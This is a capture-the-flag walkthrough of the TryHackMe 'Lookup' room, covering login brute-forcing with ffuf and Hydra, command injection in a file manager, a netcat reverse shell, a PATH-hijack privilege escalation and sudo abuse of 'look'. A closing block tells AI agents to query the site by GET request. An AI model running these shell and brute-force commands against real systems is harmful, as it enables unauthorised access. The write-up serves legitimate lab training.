# Lookup

{% embed url="<https://tryhackme.com/room/lookup>" %}

## Enumeration

### nmap

![](/files/If44qoXN71E23Xb21Xiy)

### Web page

We got a login form here, but first let’s capture the request with burpsuite

<figure><img src="/files/FIjNoMFHeVdo0yKJzeCn" alt=""><figcaption></figcaption></figure>

#### Request and response analysis

I’m here to check if existing and non-existing user will have a different outcomes

As you can see it’s pretty clear, so now we can maybe do a bruteforce session

<figure><img src="/files/HIl1uacadQpnnAnbcwgK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8545XXGloUCncipqACzR" alt=""><figcaption></figcaption></figure>

### ffuf bruteforce

Here we use ffuf to bruteforce, man this tool is just crazy.

<figure><img src="/files/P7g1hjYQyqcLlmf8zLWJ" alt=""><figcaption></figcaption></figure>

```c
ffuf -w <list> -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8"  -fw 8
```

<figure><img src="/files/kd92Yrr9kA8UsNNSk5c8" alt=""><figcaption></figcaption></figure>

Cool, we found a potential password, and let’s try with username admin

<figure><img src="/files/N86dzksUNgQEGUXq595S" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vFFQwuREhgofdnPayZs9" alt=""><figcaption></figcaption></figure>

That’s weird, I’m thinking if they only check the creds sperately or something so let’s find the user with this password

#### Fuzzing users

<figure><img src="/files/mqHtvbhVXwwB4AtfHMNU" alt=""><figcaption></figcaption></figure>

Oh yeah, it might just be jose

### File manager

After logging in we are greeted with a file manager Let’s see what we can get here

<figure><img src="/files/KjZYnzrygRES7kGe19rH" alt=""><figcaption></figcaption></figure>

in the credentials file I found another potential user and password

<figure><img src="/files/cLV6UYT2tk3K41ln2OWZ" alt=""><figcaption></figcaption></figure>

After checking out the files let’s see what’s the version it’s using, which is version 2.1.47

<figure><img src="/files/668dvrJempoD7uTpeq9d" alt="" width="488"><figcaption></figcaption></figure>

### Exploit

On exploit.db you can found a exact version and the vulnerability, in this case it’s command injection

<figure><img src="/files/a6jbvMk0imq2fPNfnfr0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rV9UqV2D9jczb1K4hyZU" alt=""><figcaption></figcaption></figure>

Make sure it’s **jpg** file

Reverse shell: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f`

Since it’s web we need to url encode it: `rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.10.10%209001%20%3E%2Ftmp%2Ff`

### Reverse shell

After all these, we are in let’s see what we can do to escalate our privilege

<figure><img src="/files/LjhOM3u8zYPdkwgXKjuj" alt=""><figcaption></figcaption></figure>

### Privilege escalation

#### SUID

Here we found something usual it’s the **pwm** it seems like a created program so let’s run it

<figure><img src="/files/XoVpFm68OOGuNaoYlytR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pIcINJJty02iKhruCU2t" alt=""><figcaption></figcaption></figure>

The program is executing the `id` command and extract the creds to the `.passwords` file

So, if the `id` command is not specified with it’s full path (`/bin/id`), it is found and executed via the PATH variable in our environment

We can add tmp dir to the PATH by: `export PATH=/tmp:$PATH`

<figure><img src="/files/NZdo5vZuw2LfXIFv3Hwo" alt=""><figcaption></figcaption></figure>

And we can create a id file in tmp

```bash
echo "#!/bin/bash"
echo "uid=33(think) gid=33(think) group=33(think)"
```

Now rerun the **pwm** program

<figure><img src="/files/Y2CbRRsQxGC4XNMtHEcw" alt=""><figcaption></figcaption></figure>

And looks like we got it the wordlist type of thing which means we can do another bruteforce session

<figure><img src="/files/mwdu6SsqJ8comUr3bCEC" alt=""><figcaption></figcaption></figure>

#### Think About Hydra

Great, we now can login as think

<figure><img src="/files/DD7Xu8bpehjtiRMEp0p1" alt=""><figcaption></figcaption></figure>

#### Look At sudo -l

<https://gtfobins.github.io/gtfobins/look/>

now we can check the sudo list, and **think** can run `look` command, let’s exploit it and get the root’s ssh key! or just take the flag

<figure><img src="/files/4ZCF4JiAWO9R7A8zwjlb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VxfHuMK2zMvQKznwbC97" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vix-w1zzer.gitbook.io/vixwizzer/walkthroughs/lookup.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
